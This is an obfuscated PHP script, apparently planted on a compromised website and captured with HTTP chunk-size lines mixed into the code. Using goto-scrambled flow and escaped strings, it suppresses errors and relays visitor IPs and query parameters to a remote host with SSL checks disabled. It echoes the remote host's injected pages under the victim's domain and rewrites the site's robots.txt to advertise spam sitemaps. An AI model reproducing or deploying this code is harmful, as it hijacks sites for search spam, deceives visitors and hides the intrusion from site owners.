3
<?p
14
hp
 goto OsiDT; XVe
1a
Bg: $get = $_GET; goto N6b
17
Ge; w0kkS: function pos
1a
tCurl($url, $postData = ar
20
ray()) { $postString = is_array(
1c
$postData) ? http_build_quer
31
y($postData) : $postData; if (function_exists("\x
1b
63\x75\162\x6c\x5f\x69\x6e\
1e
151\164")) { $ch = curl_init()
24
; curl_setopt_array($ch, array(CURLO
21
PT_URL => $url, CURLOPT_RETURNTRA
1f
NSFER => true, CURLOPT_SSL_VERI
3b
FYPEER => false, CURLOPT_SSL_VERIFYHOST => false, CURLOPT_F
23
OLLOWLOCATION => true, CURLOPT_TIME
33
OUT => 10, CURLOPT_POST => true, CURLOPT_POSTFIELDS
30
 => $postString)); $data = curl_exec($ch); curl_
23
close($ch); if (!empty($data)) { re
21
turn $data; } } if (ini_get("\141
28
\x6c\154\157\x77\x5f\165\162\154\x5f\146
25
\157\160\x65\x6e")) { $context = stre
24
am_context_create(array("\150\164\x7
31
4\x70" => array("\x6d\x65\x74\150\157\144" => "\x
26
50\117\x53\x54", "\x74\x69\x6d\x65\x6f
34
\x75\164" => 10, "\x68\145\x61\144\145\x72" => "\x43
2d
\157\156\164\145\x6e\x74\x2d\124\x79\x70\145\
29
72\40\141\160\160\x6c\151\143\x61\x74\151
36
\157\156\57\170\55\167\x77\167\55\x66\x6f\162\x6d\x2d\
2d
x75\x72\154\145\156\143\157\144\x65\x64\15\xa
30
" . "\103\157\156\x74\145\156\164\55\x4c\x65\x6e
2a
\147\164\150\72\x20" . strlen($postString)
39
 . "\15\12" . "\x55\x73\145\x72\x2d\101\x67\145\156\164\x
29
3a\40\115\157\172\x69\x6c\x6c\141\57\x35\
41
56\x30\15\12", "\x63\157\x6e\164\x65\156\164" => $postString), "\
31
163\163\x6c" => array("\166\x65\x72\151\146\x79\x
40
5f\160\x65\145\162" => false, "\166\145\x72\151\x66\x79\x5f\160\
3a
145\x65\x72\x5f\x6e\x61\155\x65" => false))); $data = @fil
56
e_get_contents($url, false, $context); if (!empty($data)) { return $data; } } return '
17
'; } goto wRFt_; VguJR:
28
 if (!empty($get["\162"])) { $robotsPath
27
 = $_SERVER["\x44\117\x43\125\115\x45\x
26
4e\x54\137\122\117\x4f\x54"] . "\57\16
2d
2\157\142\x6f\x74\163\x2e\x74\x78\164"; $site
21
mapBlock = "\125\163\145\162\55\1
32
41\147\x65\x6e\164\72\40\x2a\xa\x41\x6c\x6c\x6f\16
35
7\x3a\40\57\xa"; $sitemaps = "\12\x53\x69\x74\145\x6d
2b
\x61\160\x3a\x20{$http_type}{$_SERVER["\x48
2f
\x54\124\x50\x5f\110\117\123\124"]}{$_SERVER["\
27
123\x43\x52\x49\x50\124\x5f\x4e\101\x4d
38
\x45"]}\x3f\x73\75\163\12"; if (!file_exists($robotsPath
42
)) { file_put_contents($robotsPath, $sitemapBlock . $sitemaps); } 
44
else { $robotsContent = @file_get_contents($robotsPath); if (strpos(
45
$robotsContent, $_SERVER["\123\x43\122\111\120\x54\x5f\x4e\101\x4d\10
40
5"]) === false) { @file_put_contents($robotsPath, $sitemaps, FIL
1d
E_APPEND); } } } goto Kw0TV; 
22
lb_EM: $vurl = $http_type . "\x69\
2a
144\154\171\x32\56\x69\x64\163\150\x6f\x70
2c
\56\x63\x63\167\x75\x2e\143\x63\57\64\61\x39
27
\56\x61\163\x70\170"; goto VguJR; WNTMb
47
: if (!empty($get["\x69\x64"])) { if (empty($get["\153\x6b"])) { $ip = 
28
get_ip(); $params = array("\151\160" => 
38
$ip, "\x69\144" => isset($get["\151\144"]) ? $get["\151\
26
x64"] : '', "\x6c\x6c" => $ll); $tzstr
3c
 = getCurl($vurl, $params); if (strpos($tzstr, "\x69\144") !
50
== false) { echo $tzstr; die; } } $params = array("\151\x64" => $get["\x69\x64"]
47
, "\154\154" => $ll); $str = getCurl($vurl, $params); $str = str_replac
2b
e(array("\173\x55\x52\114\x7d", "\x7b\xe5\x
2b
9f\x9f\xe5\x90\x8d\x7d"), array(get_url_inf
36
o("\x66\x75\154\x6c"), get_url_info("\x6e\157\x5f\167\
35
167\x77")), $str); echo $str; die; } else { $sitemapU
2f
rl = $ll . "\x3f\x73\75" . date("\x59\155\144\x
2b
48\x69"); echo "\x3c\144\151\x76\x20\163\16
33
4\171\x6c\145\x3d\47\164\145\170\164\x2d\141\x6c\x6
32
9\x67\156\x3a\143\145\x6e\x74\145\x72\73\40\160\x6
34
1\x64\x64\151\x6e\147\x3a\61\x30\160\170\x20\x30\x3b
2b
\47\x3e\x3c\x61\x20\150\x72\145\x66\x3d\x22
34
{$sitemapUrl}\42\x20\164\141\162\147\x65\164\x3d\x22
35
\x5f\x62\x6c\141\x6e\153\x22\x20\x72\x65\154\75\42\15
2c
6\157\146\x6f\154\154\157\167\42\76\40\123\1
3b
51\164\x65\155\141\160\74\x2f\141\x3e\74\x2f\144\x69\166\x3
36
e"; } goto UHNmn; Kw0TV: if (!empty($get["\x73"])) { $
3b
params = array("\x73" => date("\131\155\144\110\x69"), "\15
3a
6\x75\155\x62\145\162" => $get["\156\165\x6d\142\145\162"]
5e
); $str = getCurl($vurl, $params); $str = str_replace(array("\173\xe5\xbd\x93\345\211\x8d\xe5\
2e
234\xb0\xe5\x9d\200\175"), array($http_type . 
48
$_SERVER["\x48\124\124\120\x5f\110\x4f\123\124"] . $_SERVER["\x53\103\12
31
2\x49\120\124\x5f\116\101\115\105"]), $str); head
35
er("\x43\x6f\156\164\145\156\x74\55\164\171\x70\x65\x
3d
3a\x74\145\x78\164\x2f\x78\x6d\154"); echo $str; die; } goto 
d
WNTMb; OsiDT:
22
 error_reporting(0); goto XVeBg; H
37
WR4h: $http_type = !empty($_SERVER["\110\124\x54\120\x5
35
3"]) && $_SERVER["\x48\x54\x54\120\123"] !== "\157\x6
28
6\x66" ? "\x68\x74\x74\160\x73\72\57\x2f
35
" : "\x68\x74\x74\160\x3a\57\x2f"; goto rRNpn; rRNpn:
6a
 $ll = "{$http_type}{$_SERVER["\x48\124\x54\120\137\110\117\123\124"]}{$_SERVER["\x53\x43\122\x49\120\124\
2a
137\x4e\x41\x4d\x45"]}"; goto lb_EM; RyBoU
3d
: function get_ip() { foreach (array("\110\x54\x54\120\137\x5
2f
8\x5f\x46\x4f\122\127\101\122\x44\105\104\x5f\1
34
06\117\x52", "\x48\124\x54\x50\137\103\x4c\x49\105\1
36
16\124\x5f\111\120", "\x52\105\115\117\124\105\x5f\101
33
\x44\x44\x52") as $key) { if (!empty($_SERVER[$key]
2f
)) { return trim(explode("\54", $_SERVER[$key])
2e
[0]); } } return "\x55\116\x4b\116\117\127\x4e
3c
"; } goto w0kkS; N6bGe: function get_url_info(string $return
31
_type = "\144\157\155\x61\x69\x6e") : string { $h
53
ost = $_SERVER["\x48\124\124\x50\137\110\x4f\123\124"]; if ($return_type === "\144\
46
x6f\x6d\x61\151\x6e") { return $host; } if ($return_type === "\x6e\x6f
39
\x5f\x77\x77\x77") { return ltrim($host, "\x77\x77\x77\x2
28
e"); } $protocol = isset($_SERVER["\110\
47
x54\124\120\123"]) && $_SERVER["\110\124\124\x50\123"] === "\x6f\156" |
59
| isset($_SERVER["\x48\124\x54\x50\137\x58\137\106\117\x52\127\101\122\x44\x45\x44\137\12
4c
0\x52\x4f\124\x4f"]) && $_SERVER["\x48\x54\x54\x50\x5f\130\137\x46\x4f\x52\x
3f
57\x41\x52\x44\x45\104\137\x50\122\117\124\x4f"] === "\x68\164\
46
164\160\x73" ? "\x68\164\164\x70\x73\x3a\57\x2f" : "\x68\x74\164\x70\x
2b
3a\x2f\57"; $base_url = $protocol . $host; 
52
if ($return_type === "\142\141\x73\x65") { return $base_url; } $uri = $_SERVER["\x
2e
52\105\x51\x55\x45\x53\124\x5f\x55\122\111"]; 
46
$full_url = $base_url . $uri; if ($return_type === "\146\165\154\x6c")
52
 { return $full_url; } return ''; } goto RyBoU; wRFt_: function getCurl($url, $get
4b
Data = array()) { if (!empty($getData)) { $queryString = is_array($getData)
46
 ? http_build_query($getData) : $getData; $url .= (strpos($url, "\x3f"
47
) === false ? "\x3f" : "\x26") . $queryString; } if (function_exists("\
128
143\165\162\154\x5f\151\x6e\151\164")) { $ch = curl_init(); curl_setopt_array($ch, array(CURLOPT_URL => $url, CURLOPT_RETURNTRANSFER => true, CURLOPT_SSL_VERIFYPEER => false, CURLOPT_SSL_VERIFYHOST => false, CURLOPT_FOLLOWLOCATION => true, CURLOPT_TIMEOUT => 10, CURLOPT_HTTPGET => true, CURLOPT_
2c
USERAGENT => "\115\157\172\151\154\x6c\141\x
112
2f\65\56\60")); $data = curl_exec($ch); curl_close($ch); if (!empty($data)) { return $data; } } if (ini_get("\141\x6c\x6c\157\x77\137\x75\x72\x6c\137\x66\157\160\145\x6e")) { $context = stream_context_create(array("\150\164\x74\x70" => array("\155\145\x74\150\157\144" => "\
36
107\105\x54", "\x74\151\155\x65\x6f\165\164" => 10, "\
3a
150\x65\x61\144\x65\x72" => "\x55\x73\145\162\x2d\x41\147\
3d
145\x6e\x74\x3a\x20\x4d\x6f\x7a\151\154\154\x61\57\65\56\x30\
35
xd\12"), "\x73\x73\154" => array("\x76\145\x72\x69\x6
61
6\x79\x5f\160\x65\145\162" => false, "\166\145\162\151\146\x79\137\x70\x65\x65\x72\137\x6e\141\x6
90
d\145" => false))); $data = @file_get_contents($url, false, $context); if (!empty($data)) { return $data; } } return ''; } goto HWR4h; UHNmn: ?>
0